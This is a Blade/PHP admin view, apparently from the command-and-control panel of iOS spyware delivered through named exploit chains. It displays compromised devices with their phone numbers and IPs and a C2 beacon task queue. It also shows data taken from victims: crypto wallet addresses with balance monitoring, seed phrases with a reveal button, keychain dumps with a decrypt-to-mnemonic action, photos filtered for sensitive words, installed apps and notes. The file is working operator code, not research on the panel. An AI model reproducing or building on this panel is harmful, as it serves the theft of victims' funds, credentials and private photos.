Files
coruna-lab/resources/views/admin/devices/show.blade.php
T
2026-08-31 02:45:24 +08:00

625 lines
25 KiB
PHP

@extends('admin.content')
@section('title', '设备 '.$device->device_id)
@section('content')
<div class="layui-card">
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
<span>设备详情</span>
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
<th width="140">设备 ID</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>利用链</th>
<td colspan="3">
@if ($device->isDarkSword())
<span class="tag-chain tag-chain-darksword">DarkSword</span>
@else
<span class="tag-chain tag-chain-coruna">Coruna</span>
@endif
</td>
</tr>
<tr>
<th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th>iOS 版本</th>
<td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
<th>手机号</th>
<td>{{ $device->phone ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>钱包</th>
<td colspan="3">
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
<span style="color:#d97706;font-weight:600;">有</span>
@foreach ($device->walletNameList() as $name)
<span class="tag-wallet">{{ $name }}</span>
@endforeach
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
无
@else
未知
@endif
</td>
</tr>
<tr>
<th>WS/TG</th>
<td colspan="3">
@if ($device->hasWhatsApp() || $device->hasTelegram())
@if ($device->hasWhatsApp())
<span class="tag-im tag-im-ws">WS</span>
@endif
@if ($device->hasTelegram())
<span class="tag-im tag-im-tg">TG</span>
@endif
@else
—
@endif
</td>
</tr>
<tr>
<th>相册存储</th>
<td colspan="3">
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
lay-filter="LAY-device-album-storage"
{{ $device->albumStorageEnabled() ? 'checked' : '' }}>
</form>
</td>
</tr>
<tr>
<th>User-Agent</th>
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
</tr>
<tr>
<th>安装 / 更新</th>
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
</tr>
</table>
@if (($beaconTasks ?? collect())->isNotEmpty())
@php
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
$queueCurrent = $queuePending
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
@endphp
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列
@if ($queuePending)
· 下一条 <code>{{ $queuePending->type }}</code>
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
· 已下发未回传,下一轮 /beacon 会重试
@else
· 本轮已回传,之后继续轮询钱包/相册/应用
@endif
</div>
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="180">任务</th>
<th width="120">状态</th>
<th width="180">下发时间</th>
<th width="180">回传时间</th>
<th>回传</th>
</tr>
</thead>
<tbody>
@foreach ($beaconTasks as $task)
@php
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
@endphp
<tr style="{{ $rowStyle }}">
<td>{{ $task->position }}</td>
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
<td>{{ $task->statusLabel() }}</td>
<td>{{ $task->dispatched_at ?: '—' }}</td>
<td>{{ $task->completed_at ?: '—' }}</td>
<td class="wrap">
@if ($task->result_count)
{{ $task->result_count }} 次
@if (!empty($task->result_meta['filename']))
· {{ $task->result_meta['filename'] }}
@endif
@else
—
@endif
</td>
</tr>
@endforeach
</tbody>
</table>
@endif
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title">
@php $tabs = [
'wallets' => '钱包地址',
'mnemonics' => '助记词',
'keystores' => '钥匙串',
'photos' => '相册',
'apps' => '已装 APP',
'notes' => '备忘录',
'events' => '日志',
]; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
<a href="{{ route(($portal ?? 'admin').'.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
</li>
@endforeach
</ul>
</div>
<div class="device-tab-body" style="padding-top: 16px;">
@if ($tab === 'photos')
<form class="layui-form" lay-filter="LAY-photo-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">敏感词</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="sensitive">
<option value="">全部</option>
<option value="1">含敏感词 (x-hit&gt;0)</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-photo-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-photo-reset">重置</button>
@if(!empty($can_clear_photos))
<button type="button" class="layui-btn layui-btn-danger" id="LAY-photo-clear">清理相册数据</button>
@endif
</div>
</div>
</form>
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@else
@if ($tab === 'wallets')
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Source</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="source">
<option value="">全部</option>
@foreach ($addressSources as $src)
<option value="{{ $src }}">{{ $src }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Chain</label>
<div class="layui-input-inline" style="width: 160px;">
<select name="chain_type">
<option value="">全部</option>
@foreach ($addressChains as $chain)
<option value="{{ $chain }}">{{ $chain }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-wallet-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-wallet-reset">重置</button>
</div>
</div>
</form>
@endif
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
@endif
</div>
</div>
</div>
@endsection
@push('scripts')
@include('admin.partials.mnemonic_reveal')
<script>
layui.use(['table', 'form', 'laypage', 'layer'], function () {
var table = layui.table;
var form = layui.form;
var laypage = layui.laypage;
var layer = layui.layer;
var $ = layui.$;
var tab = @json($tab);
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
var token = @json(csrf_token());
var revealMnemonic = window.CorunaMnemonicReveal({
token: token,
google_bound: @json(!empty($google_bound)),
security_url: @json(auth('admin')->check() ? route('admin.security.google2fa') : '')
});
var dash = function (v) { return v ? v : '—'; };
var esc = function (v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
};
form.on('switch(LAY-device-album-storage)', function (obj) {
var on = obj.elem.checked ? 1 : 0;
$.ajax({
url: updateUrl,
method: 'POST',
data: { album_storage: on, _method: 'PUT', _token: token },
success: function (res) {
if (!res || res.code !== 0) {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
return layer.msg((res && res.msg) || '保存失败');
}
layer.msg(on ? '已开启相册存储' : '已关闭相册存储');
},
error: function () {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
layer.msg('保存失败');
}
});
});
form.render('checkbox');
$('#LAY-device-destroy').on('click', function () {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
icon: 3,
title: '删除设备'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: destroyUrl,
method: 'POST',
data: { _method: 'DELETE', _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
layer.msg('已删除', { time: 800 }, function () {
var next = (res.data && res.data.list_url) ? res.data.list_url : listUrl;
try {
if (parent && parent.layui && parent.layui.index && parent.layui.index.closeThisTabs) {
parent.layui.index.closeThisTabs();
parent.layui.index.openTabsPage(next, '设备管理');
return;
}
} catch (e) {}
location.href = next;
});
},
error: function (xhr) {
layer.close(loading);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
layer.msg(msg);
}
});
});
});
if (tab === 'photos') {
var photoState = { page: 1, limit: 20, sensitive: '' };
var renderPhotos = function () {
$.getJSON(tabDataUrl, {
tab: 'photos',
page: photoState.page,
limit: photoState.limit,
sensitive: photoState.sensitive
}, function (res) {
var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : [];
if (!list.length) {
$('#LAY-photo-empty').show();
} else {
$('#LAY-photo-empty').hide();
list.forEach(function (p) {
var hit = (p.x_hit == null || p.x_hit === '') ? '—' : p.x_hit;
var card = $(
'<a class="photo-card" href="javascript:;">' +
'<img alt="">' +
'<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
'</a>'
);
card.find('img').attr('src', p.url).attr('alt', p.sha256 || '');
card.find('div').eq(0).text((p.size == null ? '—' : p.size) + ' B · x-hit ' + hit);
card.find('div').eq(1).text(
'up ' + dash(p.upload_count) +
' · idx ' + dash(p.process_index) +
' · text ' + dash(p.text_count) +
' · qr ' + dash(p.barcode_count)
);
card.on('click', function (e) {
e.preventDefault();
layer.open({
type: 1,
title: '相册预览',
area: ['80%', '85%'],
shadeClose: true,
content: '<div style="padding:12px;text-align:center;background:#111;min-height:100%;box-sizing:border-box;">' +
'<img src="' + p.url + '" style="max-width:100%;max-height:75vh;object-fit:contain;">' +
'<div style="color:#ccc;margin-top:10px;font-size:12px;word-break:break-all;">' +
esc(p.sha256 || '') + '</div></div>'
});
});
$grid.append(card);
});
}
laypage.render({
elem: 'LAY-photo-page',
count: (res && res.count) ? res.count : 0,
curr: photoState.page,
limit: photoState.limit,
limits: [10, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
photoState.page = obj.curr;
photoState.limit = obj.limit;
renderPhotos();
}
});
});
};
form.on('submit(LAY-photo-search)', function (data) {
photoState.sensitive = data.field.sensitive || '';
photoState.page = 1;
renderPhotos();
return false;
});
$('#LAY-photo-reset').on('click', function () {
setTimeout(function () {
photoState.sensitive = '';
photoState.page = 1;
renderPhotos();
}, 0);
});
@if(!empty($can_clear_photos))
$('#LAY-photo-clear').on('click', function () {
layer.confirm('确认清理该设备全部相册数据?将删除数据库记录及本地图片文件,且不可恢复。', {
icon: 3,
title: '清理相册'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: clearPhotosUrl,
method: 'POST',
data: { _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '清理失败');
var n = (res.data && res.data.deleted_rows) ? res.data.deleted_rows : 0;
layer.msg('已清理 ' + n + ' 条相册记录');
photoState.page = 1;
renderPhotos();
},
error: function () {
layer.close(loading);
layer.msg('清理失败');
}
});
});
});
@endif
form.render('select');
renderPhotos();
return;
}
var colsMap = {
wallets: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 140, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'chain_type', title: 'Chain', width: 120, sort: true, templet: function (d) { return dash(d.chain_type); } },
{ field: 'address', title: 'Address', minWidth: 220, sort: true, templet: function (d) { return '<code>' + esc(d.address) + '</code>'; } },
{ field: 'usdt', title: 'USDT', width: 90 },
{ field: 'trx', title: 'TRX', width: 90 },
{ field: 'eth', title: 'ETH', width: 90 },
{ field: 'btc', title: 'BTC', width: 100 },
{ field: 'bnb', title: 'BNB', width: 90 },
{ field: 'monitor', title: '监听', width: 70, templet: function (d) {
return Number(d.monitor) === 1 ? '开' : '关';
} },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true, templet: function (d) { return dash(d.updated_at); } }
]],
mnemonics: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
@if(!empty($can_reveal))
, { title: '操作', width: 110, align: 'center', templet: function (d) {
return d.reveal_url ? '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>' : '—';
} }
@endif
]],
keystores: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 180, align: 'center', templet: function (d) {
var html = '';
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
return html || '—';
} }
]],
apps: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
{ field: 'bundle_id', title: 'Bundle', minWidth: 200, sort: true, templet: function (d) { return d.bundle_id ? '<code>' + esc(d.bundle_id) + '</code>' : '—'; } },
{ field: 'version', title: '版本', width: 120, sort: true, templet: function (d) { return dash(d.version); } },
{ field: 'is_wallet', title: 'Wallet', width: 100, sort: true, templet: function (d) {
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
} }
]],
notes: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'content', title: 'Content', minWidth: 320, templet: function (d) {
return d.content ? '<span class="wrap">' + esc(d.content) + '</span>' : '—';
} },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
]],
events: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ field: 'event_name', title: 'Event', width: 160, sort: true, templet: function (d) { return d.event_name ? '<code>' + esc(d.event_name) + '</code>' : '—'; } },
{ field: 'desc', title: 'Desc', minWidth: 180, templet: function (d) { return dash(d.desc); } },
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
} }
]]
};
var emptyMap = {
wallets: '暂无地址',
mnemonics: '暂无助记词',
keystores: '暂无钥匙串',
apps: '暂无应用',
notes: '暂无备忘录',
events: '暂无日志'
};
table.render({
elem: '#LAY-device-tab-list',
id: 'LAY-device-tab-list',
url: tabDataUrl,
where: { tab: tab },
toolbar: true,
defaultToolbar: ['filter', 'exports', 'print'],
cols: colsMap[tab] || colsMap.wallets,
page: true,
limit: 20,
limits: [10, 20, 30, 50],
text: { none: emptyMap[tab] || '暂无数据' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
if (tab === 'mnemonics') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'reveal') revealMnemonic(obj.data);
});
}
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'decrypt') {
if (!obj.data.decrypt_url) return layer.msg('无法解密');
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
layer.close(idx);
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
$.ajax({
url: obj.data.decrypt_url,
method: 'POST',
data: { _token: token },
timeout: 180000,
success: function (res) {
layer.msg((res && res.msg) || '已处理');
if (res && res.code === 0) table.reload('LAY-device-tab-list');
},
error: function (xhr) {
var msg = '解密失败';
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
layer.msg(msg);
},
complete: function () {
layer.close(loadIdx);
}
});
});
return;
}
if (obj.event !== 'items' || !obj.data.items_url) return;
layer.load(1);
$.getJSON(obj.data.items_url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var items = d.items || [];
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
' · ' + items.length + ' 条</div>';
if (!items.length) {
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
} else {
html += '<table class="layui-table"><thead><tr>' +
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
'</tr></thead><tbody>';
items.forEach(function (it) {
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
'<td>' + dash(it.service) + '</td>' +
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
'<td>' + dash(it.protection_class) + '</td>' +
'<td>' + esc(it.data_len) + '</td>' +
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
});
html += '</tbody></table></div>';
}
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
});
}
if (tab === 'wallets') {
form.render('select');
form.on('submit(LAY-wallet-search)', function (data) {
table.reload('LAY-device-tab-list', {
where: {
tab: 'wallets',
source: data.field.source || '',
chain_type: data.field.chain_type || ''
},
page: { curr: 1 }
});
return false;
});
$('#LAY-wallet-reset').on('click', function () {
setTimeout(function () {
table.reload('LAY-device-tab-list', {
where: { tab: 'wallets', source: '', chain_type: '' },
page: { curr: 1 }
});
}, 0);
});
}
});
</script>
@endpush